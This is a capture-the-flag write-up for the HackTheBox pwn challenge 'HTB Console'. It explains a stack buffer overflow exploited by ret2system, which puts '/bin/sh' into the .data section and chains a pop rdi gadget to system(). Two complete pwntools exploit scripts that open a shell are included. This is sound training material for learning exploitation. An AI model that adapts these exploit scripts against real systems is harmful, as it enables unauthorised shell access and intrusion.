← Back to Writeups
HTBN/APwn

HTB Console

XESXOR8/23/20263 min read
#pwn#htb#n/a

HTB Console

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Check out the all new HTB Console! Don't try to pwn it though.

Solution Approach

Core idea: Buffer Overflow. Direct .DATA section field manipulation.

Steps

  1. First, unzip the .zip file given.

  2. Check the file type.

  3. Now, check the binary's protection.

  4. Let us decompile the binary using ghidra.

  5. When checking every function available, this function seems will be our interest.

  6. Based on it, seems we can do bufferoverflow the local_18 variable then put in the new return address.

  7. Notice there's a system function.

  8. Not only that, we can utilize this one to write to memory.

  9. Since NX Enabled, hence it's useless to inject shellcode. So the attack concept we may use here is ret2system.

  10. So we need to:

- Find the offset of RIP/EIP first.
- Then overflow the buffer of local_18 so we can write the system address of the system function.
- And pass in as a parameter the strings that we've written to the &DAT_004040b0 (data section).
  1. Now let us make the file executeable by run chmod. Then run the file in gdb.

  2. Enter "flag".

  3. Enter 300 cyclic pattern.

  4. Find the offset of RIP/EIP by copy the first 4 characters in RSP.

  5. Great now we know the offset is 24 bytes.

  6. Anyway to make sure every string we enter are send to the data, let us run the binary in gdb again, but this time enter the first input as hof and let us set the breakpoint at this offset.

STEPS - I USED GDB-PWNDBG THIS TIME

  • Press ctrl + c

  • Type this:

x/8s 0x004040b0
  1. Yepp, it's written there and we have more room there, so it's let us to input cat flag.txt etc.

  2. Now let us find the offset of system func.

  3. Next we need the pop rdi, because the binary is in 64 bit, so the calling convention is if we want to call the system function we need to pop the parameter that we want to pass the system. So since we want to call system("bin/sh"), then we need to pop the bin/sh string into the RDI register.

POP RDI

ropper --file htb-console --search "pop rdi"
  1. Let us combine all of it to the script.

THE SCRIPT (RET2SYSTEM)

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './htb-console'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

sh = start()

ripEipoffset = 24 
systemAddr = 0x401040 # can grep it with elf.symbols.system
firstLinedatAddr = 0x4040b0 # first memory of dat
popRdi_offset = 0x401473 # pop rdi offset
p = flat(
    {ripEipoffset: [
        popRdi_offset,
        firstLinedatAddr,
        systemAddr
    ]}
)

sh.sendlineafter('>>', 'hof')
sh.sendlineafter(':','/bin/sh') # fill the dat with /bin/sh string

sh.sendlineafter('>>', 'flag')
sh.sendlineafter(':',p)

sh.interactive()
  1. Let us run it remotely.

  2. Got the flag!

ALTERNATE SCRIPT

  1. Here lies my alternate solver, but it failed locally and needed to run remotely to get the flag.

THE SCRIPT

import os
from pwn import *

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './htb-console'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'

sh = start()

padding = 24
system_addr = elf.sym['system']
info('System Address --> %#0x', system_addr)

pop_rdi_gadget = 0x0000000000401473
info('pop_rdi_gadget --> %#0x', pop_rdi_gadget)

ret_addr = 0x000000000040101a
info('ret_addr --> %#0x', ret_addr)

sh.sendlineafter(b'>>', b'hof')
'''
p = flat([
    asm('nop') * padding,
    ret_addr,
    pop_rdi_gadget,
    b'/bin/sh\x00',
    system_addr
])
'''
#sh.sendlineafter(b':', p)

data_addr = 0x004040b0
info('Dat Addr --> %#0x', data_addr)

pay = flat([
    asm('nop') * padding,
    #ret_addr,
    pop_rdi_gadget,
    data_addr,
    system_addr
])

sh.sendlineafter(b':', b'/bin/sh\x00')
sh.sendlineafter(b'>>', b'flag')
sh.sendlineafter(b':', pay)

sh.interactive() # get shell

Flag

REDACTED

Lessons Learned

  1. Buffer Overflow.
  2. Direct .DATA section field manipulation.
  3. Utilizing BOF to return to .DATA section filled with /bin/sh\x00 string.